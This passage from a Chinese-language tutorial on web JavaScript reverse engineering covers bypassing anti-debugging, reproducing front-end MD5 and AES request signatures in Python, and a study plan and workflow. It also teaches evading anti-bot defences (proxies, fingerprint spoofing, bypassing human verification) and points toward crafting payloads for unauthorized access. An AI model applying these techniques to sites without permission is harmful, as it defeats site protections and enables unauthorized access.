false,90% 的场景都能解决; - 若 debugger 是通过
debugger;硬编码的,无法用 Hook 拦截,直接用条件断点即可; - 若页面刷新后 Hook 代码失效,用 DevTools 的「Overrides」功能,把 Hook 代码注入到页面加载的第一个 JS 文件中,确保刷新后仍生效。
5. 通用解决思路
无限 debugger 的解决优先级:
- 条件断点
false(最快,零代码); - 黑盒脚本(针对第三方库的 debugger);
- Hook 拦截动态生成的 debugger;
- 禁用所有断点(应急方案)。
异常 3:Python 复现的 sign 和前端不一致
1. 问题成因分析
| 序号 | 核心成因 | 占比 | |
|---|---|---|---|
| 1 | 签名拼接规则还原错误 | 60% | 拼接顺序、遗漏盐值、大小写错误、空格 / 换行符差异 |
| 2 | 编码格式不一致 | 20% | 前端用 UTF-16 编码,Python 用 UTF-8;Base64 编码的换行 / 补全差异 |
| 3 | 时间戳 / 随机数不一致 | 10% | 时间戳的位数(10 位 / 13 位)、随机数生成规则错误 |
| 4 | 加密算法模式 / 填充错误 | 8% | AES 的 CBC/ECB 模式、PKCS5/PKCS7 填充、IV 值错误 |
| 5 | 前端隐藏的加密逻辑 | 2% | 代码混淆后,有隐藏的字符串替换、二次加密逻辑未还原 |
2. 分步排查流程
-
第一步:固定所有变量,排除随机因素
- 在前端代码中,把时间戳、随机数、盐值都固定为常量,生成 sign;
- 在 Python 代码中,用完全相同的固定常量,生成 sign,对比是否一致。
-
第二步:逐段对比拼接字符串
- 在前端代码中,打印加密前的原始拼接字符串
console.log("原始字符串:", signStr); - 在 Python 代码中,打印完全相同位置的拼接字符串,对比每一个字符,查看是否有空格、换行、大小写、编码差异。
- 在前端代码中,打印加密前的原始拼接字符串
-
第三步:验证加密算法的参数
- 确认加密算法的模式(AES-CBC/AES-ECB)、填充方式(PKCS7/PKCS5)、IV 值、密钥编码是否和前端完全一致;
- 用固定的明文,分别在前端和 Python 中加密,对比密文是否一致。
-
第四步:排查隐藏的加密逻辑
- 在前端代码中,给加密函数的每一步都加打印,查看是否有二次加密、字符串替换、字符编码转换的逻辑;
- 对比前端和 Python 的每一步中间结果,找到差异点。
3. 完整解决方案
方案 1:MD5 签名不一致的标准修复模板
python
import hashlib
# 前端还原的固定参数
SALT = "my_secret_salt"
KEYWORD = "Python逆向"
TIMESTAMP = "1761800000000"
# 1. 严格和前端一致的拼接规则,顺序不能错
# 前端:signStr = SALT + KEYWORD + TIMESTAMP
sign_str = f"{SALT}{KEYWORD}{TIMESTAMP}"
# 2. 编码格式必须和前端一致,默认UTF-8,特殊情况用UTF-16LE
sign_bytes = sign_str.encode("utf-8")
# 3. MD5哈希,大小写必须和前端一致(前端通常是小写)
md5_result = hashlib.md5(sign_bytes).hexdigest().lower()
print(f"拼接字符串:{repr(sign_str)}")
print(f"生成的sign:{md5_result}")
# 和前端console.log的结果对比,必须完全一致
方案 2:AES 加密不一致的标准修复模板
python
# 安装依赖:pip install pycryptodome
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
# 前端还原的参数,必须完全一致
AES_KEY = b"1234567890abcdef" # 16位密钥,和前端编码一致
AES_IV = b"0123456789abcdef" # 16位IV向量,CBC模式必须
PLAINTEXT = '{"keyword":"Python逆向","page":1}'
# 1. 加密逻辑,和前端完全一致
# 前端:AES-128-CBC,PKCS7填充,Base64编码
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
# 填充:PKCS7和PKCS5在AES中完全一致
padded_data = pad(PLAINTEXT.encode("utf-8"), AES.block_size)
# 加密
encrypted_bytes = cipher.encrypt(padded_data)
# Base64编码,和前端一致
encrypted_str = base64.b64encode(encrypted_bytes).decode("utf-8")
print(f"加密结果:{encrypted_str}")
# 和前端加密结果对比,必须完全一致
4. 实战避坑技巧
- 90% 的不一致问题,都是拼接规则还原错误,必须逐字符对比前端和 Python 的原始拼接字符串,包括空格、换行、符号;
- 时间戳必须和前端完全一致,前端用
new Date().getTime()是 13 位毫秒级,Python 的time.time()默认是 10 位秒级,必须乘以 1000 转成 13 位字符串; - 加密算法的密钥、IV 值,必须确认前端的编码格式,是 UTF-8 字符串还是 Hex 十六进制字符串,避免编码错误。
5. 通用解决思路
sign 不一致的核心是「前端和 Python 的加密输入、加密过程、输出格式不完全一致」,解决步骤:
- 固定所有变量,排除随机因素;
- 逐字符对比加密前的输入字符串,找到差异点;
- 逐步骤对比加密过程的中间结果,确认算法参数完全一致;
- 对比输出的格式(大小写、编码、补全),和前端完全对齐。
第六部分:Web JS 逆向完整学习与实战体系
完全贴合大纲 14 章内容,可作为 JS 逆向的完整学习手册,实战性极强。
1. 分阶段学习路径规划(对应每一章)
第一阶段:入门筑基期( 1-3 章)
| 章节 | 学习重点 | 需掌握的核心能力 | 实战目标 |
|---|---|---|---|
| 第一章 逆向基础 | JS 逆向的核心原理、前端代码执行流程、逆向的核心目标 | 理解 "前端加密逻辑都能被还原" 的核心逻辑,明确逆向的目标是还原加密参数生成规则 | 能看懂简单的前端加密代码,明确逆向的完整流程 |
| 第二章 浏览器控制台 | Network 面板抓包、Sources 面板断点调试、Console 面板代码执行、Application 面板数据查看 | 熟练使用 DevTools 三大核心面板,能独立抓包、设置断点、调试 JS 代码、查看 Cookie/LocalStorage | 能独立抓包找到目标接口,给 JS 代码设置断点,单步调试查看变量值 |
| 第三章 加密参数定位方法 | XHR 断点定位、关键词搜索定位、Hook 注入定位加密函数 | 掌握 3 种核心的加密函数定位方法,能快速找到接口参数的加密代码位置 | 给任意网站的接口,10 分钟内定位到加密参数的生成函数 |
第二阶段:基础攻坚期( 4-6 章)
| 章节 | 学习重点 | 需掌握的核心能力 | 实战目标 |
|---|---|---|---|
| 第四章 常见的压缩和混淆 | 代码压缩原理、javascript-obfuscator 混淆的特征、混淆代码的基础阅读方法 | 能识别混淆代码的类型,看懂简单混淆后的加密逻辑,不被乱码变量名干扰 | 能阅读 javascript-obfuscator 混淆后的代码,找到核心加密逻辑 |
| 第五章 常见的编码和加密 | Base64 编码、MD5 哈希、AES 对称加密、RSA 非对称加密的原理和前端实现 | 能识别 4 种核心加密算法的特征,看懂前端加密代码的算法类型、密钥、模式、填充方式 | 看到前端加密代码,能快速识别算法类型,提取密钥、IV 等核心参数 |
| 第六章 加密参数还原与模拟 | Newrank 榜单、MD5/RSA/AES 加密逆向案例 | 能完整还原加密逻辑,用 Python 复现加密算法,构造合法的接口请求 | 独立完成 Newrank 榜单的 sign 参数逆向,用 Python 实现自动化爬取 |
第三阶段:进阶突破期( 7-9 章)
| 章节 | 学习重点 | 需掌握的核心能力 | 实战目标 |
|---|---|---|---|
| 第七章 浏览器环境补充 | 常被检测的浏览器环境、手动环境补全、JSDOM 环境补全、Selenium/Puppeteer 环境模拟 | 能识别前端代码的环境依赖,手动补全浏览器环境,让前端加密代码在 Node.js 中正常运行 | 把任意网站的前端加密代码,复制到 Node.js 中正常运行,生成加密参数 |
| 第八章 加密方法远程调用(RPC) | RPC 的原理、油猴脚本实现 RPC、浏览器插件 RPC、Puppeteer 远程调用 | 掌握 RPC 远程调用方法,无需还原加密逻辑,直接调用浏览器中的加密函数 | 针对复杂加密网站,用 RPC 实现加密参数的自动生成,完成爬虫开发 |
| 第九章 AST 技术 | AST 的核心原理、babel 全家桶(parser/generator/traverse/types)的使用 | 能把 JS 代码解析成 AST,遍历、修改、还原 AST 节点,生成可读代码 | 能用 AST 技术还原简单的混淆代码,批量修改 JS 代码 |
第四阶段:高阶精通期( 10-14 章)
| 章节 | 学习重点 | 需掌握的核心能力 | 实战目标 |
|---|---|---|---|
| 第十章 常见协议分析 | HTTP/HTTPS 协议结构、WebSocket 协议、接口请求规则、反爬头字段校验 | 能深度分析接口协议,绕过 Referer、User-Agent、Cookie 等反爬校验 | 能分析复杂网站的接口协议,构造完全模拟浏览器的请求 |
| 第十一章 常见反调试 | 无限 debugger 原理与绕过、DevTools 检测、断点检测、内存爆破反调试 | 掌握所有常见反调试的绕过方法,能正常调试有反爬的网站 JS 代码 | 能绕过任意网站的无限 debugger 和 DevTools 检测,正常调试代码 |
| 第十二章 调试工具补充 | 事件断点、全局搜索、黑盒脚本、性能面板、内存面板的进阶用法 | 熟练使用 DevTools 的进阶调试工具,大幅提升逆向效率 | 能用进阶调试技巧,快速定位复杂混淆代码中的加密逻辑 |
| 第十三章 AST 反混淆 | 用 AST 还原混淆代码、字符串解密、控制流还原、变量名重命名、死代码删除 | 能用 AST 技术完整还原 javascript-obfuscator 混淆的代码,生成可读的 JS 代码 | 针对任意 javascript-obfuscator 混淆的代码,用 AST 实现全自动反混淆 |
| 第十四章 逆向爬取实战 | 综合实战案例,覆盖加密、混淆、反调试、环境检测全场景 | 能独立完成复杂网站的全流程逆向,开发稳定的自动化爬虫 | 独立完成 2 个以上复杂网站的逆向爬取,实现 7*24 小时稳定运行 |
2. 核心技术栈速查表(实战手册)
模块 1:浏览器调试核心命令
| 操作 | 快捷键 / 命令 | 核心作用 |
|---|---|---|
| 打开 DevTools | F12 / Ctrl+Shift+I | 打开开发者工具 |
| 全局搜索 | Ctrl+Shift+F | 全网站 JS 代码搜索关键词 |
| XHR 断点 | Sources→XHR/fetch Breakpoints | 接口请求时断点,定位加密函数 |
| 条件断点 | 右键行号→Add conditional breakpoint | 条件满足时才暂停,绕过无限 debugger |
| 单步跳过 | F10 | 逐行执行,不进入函数内部 |
| 单步进入 | F11 | 逐行执行,进入函数内部 |
| 继续执行 | F8 | 执行到下一个断点 |
| 黑盒脚本 | 右键 JS 文件→Blackbox Script | 调试时跳过该文件,不进入框架代码 |
模块 2:Hook 核心代码模板
| Hook 目标 | 代码模板 | 核心作用 |
|---|---|---|
| window.btoa | 见前文第二部分内容 | 拦截 Base64 编码,找到调用位置 |
| XMLHttpRequest.send | 见前文渗透测试部分 | 拦截接口请求,查看加密参数 |
| Function 构造器 | 见前文无限 debugger 绕过 | 拦截动态生成的 debugger 代码 |
| CryptoJS.MD5 | const originalMD5 = CryptoJS.MD5; CryptoJS.MD5 = function(...args){console.log("MD5输入:", args[0]); const res = originalMD5.apply(this, args); console.log("MD5输出:", res.toString()); return res;} |
拦截 MD5 加密,查看输入输出 |
模块 3:AST 核心 API 速查
| 库 | 核心 API | 作用 |
|---|---|---|
| @babel/parser | parser.parse(code) |
把 JS 代码解析成 AST 树 |
| @babel/traverse | traverse(ast, {节点类型: 处理函数}) |
遍历 AST 树,访问 / 修改节点 |
| @babel/generator | generator(ast) |
把 AST 树转回 JS 代码 |
| @babel/types | t.stringLiteral("xxx") |
创建 / 校验 AST 节点类型 |
模块 4:加密算法 Python 复现模板
| 算法 | 核心代码 | 对应章节 |
|---|---|---|
| MD5 | hashlib.md5(str.encode("utf-8")).hexdigest().lower() |
第六章 |
| AES-CBC | 见前文异常 3 解决方案 | 第六章 |
| RSA 加密 | from Crypto.PublicKey import RSA; from Crypto.Cipher import PKCS1_v1_5; key = RSA.importKey(public_key); cipher = PKCS1_v1_5.new(key); encrypted = cipher.encrypt(data.encode("utf-8")) |
第六章 |
| Base64 | base64.b64encode(data.encode("utf-8")).decode("utf-8") |
第五章 |
3. 全流程逆向标准作业流程(SOP)
从拿到目标网站到完成爬取 / 渗透,标准化 10 步流程,对应全章节内容,新手可直接照做:
-
需求明确与抓包分析(第二章)
- 明确目标:需要爬取的数据 / 渗透的接口;
- 打开 DevTools→Network 面板,触发目标操作,抓包找到核心接口;
- 查看接口的请求参数,找到加密的参数(sign、token、data 等),明确逆向目标。
-
加密函数定位(第三章)
- 优先用 XHR 断点,给接口 URL 设置断点,触发请求后回溯调用栈;
- 其次用全局搜索,搜索加密参数名、加密关键词(encrypt/sign/md5/aes);
- 最后用 Hook 注入,拦截加密方法,找到调用位置。
-
加密逻辑调试与还原(第五章)
- 给加密函数设置断点,单步调试,查看每一步的输入、输出、中间变量;
- 识别加密算法类型,提取密钥、IV、盐值、拼接规则、填充模式等核心参数;
- 在 Console 面板中,手动调用加密函数,传入固定参数,验证加密逻辑。
-
混淆代码处理(第四章、第十三章)
- 若代码被混淆,先格式化代码,看懂核心逻辑;
- 简单混淆手动还原,复杂混淆用 AST 技术做反混淆,生成可读代码。
-
反调试绕过(第十一章)
- 若遇到无限 debugger、DevTools 检测,用条件断点、Hook、黑盒脚本绕过;
- 确保能正常调试代码,无卡顿、无断点干扰。
-
加密逻辑复现(第六章)
- 用 Python/Node.js 复现加密逻辑,传入和前端完全相同的固定参数;
- 对比生成的加密结果,必须和前端完全一致,确保逻辑还原正确。
-
环境问题处理(第七章)
- 若加密代码在 Node.js 中执行报错,手动补全环境,或用 JSDOM 补全完整浏览器环境;
- 复杂环境直接用 RPC 远程调用,无需补全环境。
-
接口请求构造(第十章)
- 用 Python 的 requests 库,构造和浏览器完全一致的请求头、请求体、Cookie;
- 用复现的加密逻辑生成参数,发起请求,验证是否能拿到正确的数据。
-
爬虫 / 渗透利用开发(第八章、渗透测试部分)
- 开发完整的自动化爬虫,实现数据的批量爬取;
- 或基于逆向的逻辑,构造渗透 Payload,实现越权、未授权访问等利用。
-
稳定性优化
- 处理反爬机制:请求频率控制、IP 代理、Cookie 自动刷新;
- 异常处理:网络超时、接口报错、签名失效的处理;
- 实现 7*24 小时稳定运行。
4. 高频实战案例核心步骤与代码模板
| 案例 | 核心步骤 | 核心代码模板 |
|---|---|---|
| Newrank 榜单 MD5 逆向 | 1. 抓包找到 sign 参数;2. XHR 断点定位 generateSign 函数;3. 还原 MD5 拼接规则;4. Python 复现签名逻辑;5. 开发爬虫 | 见前文第三部分渗透测试案例 |
| 微博登录 RPC 调用 | 1. 抓包找到登录加密参数;2. 定位加密函数;3. 油猴脚本开发 RPC 服务;4. Python 调用 RPC 接口获取加密参数;5. 实现自动登录 | 见前文第八章 RPC 部分代码 |
| javascript-obfuscator AST 反混淆 | 1. 解析混淆代码成 AST;2. 遍历 AST 解密字符串数组;3. 还原控制流扁平化;4. 重命名乱码变量;5. 删除死代码;6. 生成可读代码 | 见前文第十三章 AST 部分代码 |
| AES 数据加密逆向 | 1. 定位 AES 加密函数;2. 提取密钥、IV、模式、填充方式;3. 固定参数验证加密结果;4. Python 复现 AES 加密逻辑;5. 构造加密请求 | 见前文异常 3 解决方案 |
| WASM 加密逆向 | 1. 定位 WASM 文件加载代码;2. 找到 WASM 导出的加密函数;3. 浏览器中调用函数验证逻辑;4. 用 Wasmtime 在 Python 中调用 WASM 函数;5. 实现加密参数生成 | 见前文第十一章 WASM 部分代码 |
5. 进阶提升方向(前端反爬最新趋势)
1. 最新前端反爬技术趋势
- 企业级 JS 混淆:JScrambler 商业级混淆,加入虚拟机保护、代码虚拟化、控制流扁平化,逆向难度大幅提升;
- 无感人机验证:基于浏览器环境指纹、鼠标 / 键盘行为、设备信息的无感验证,替代传统验证码;
- WASM 加密:把核心加密逻辑用 C/Rust 编写,编译成 WASM,前端 JS 仅做调用,大幅提升逆向难度;
- 动态 JS 代码:每次页面刷新,JS 代码的混淆规则、加密密钥、接口路径都会动态变化,无法静态还原;
- 前后端双向签名:接口请求和响应都做签名校验,防止篡改和重放攻击。
2. 对应进阶学习内容
- 虚拟机保护逆向:学习 JS 虚拟机混淆的原理,还原虚拟机指令和执行逻辑;
- WASM 逆向进阶:学习 WAT 文本格式、WASM 反编译、动态调试、C 代码还原;
- 行为模拟:学习用 Puppeteer/Playwright 模拟真人的鼠标移动、键盘输入、页面滚动,绕过人机验证;
- 浏览器指纹对抗:学习浏览器指纹的生成原理,修改 / 模拟指纹,绕过环境检测;
- 移动端 JS 逆向:学习 APP 内嵌 WebView 的 JS 逆向、抓包、调试方法,覆盖移动端场景。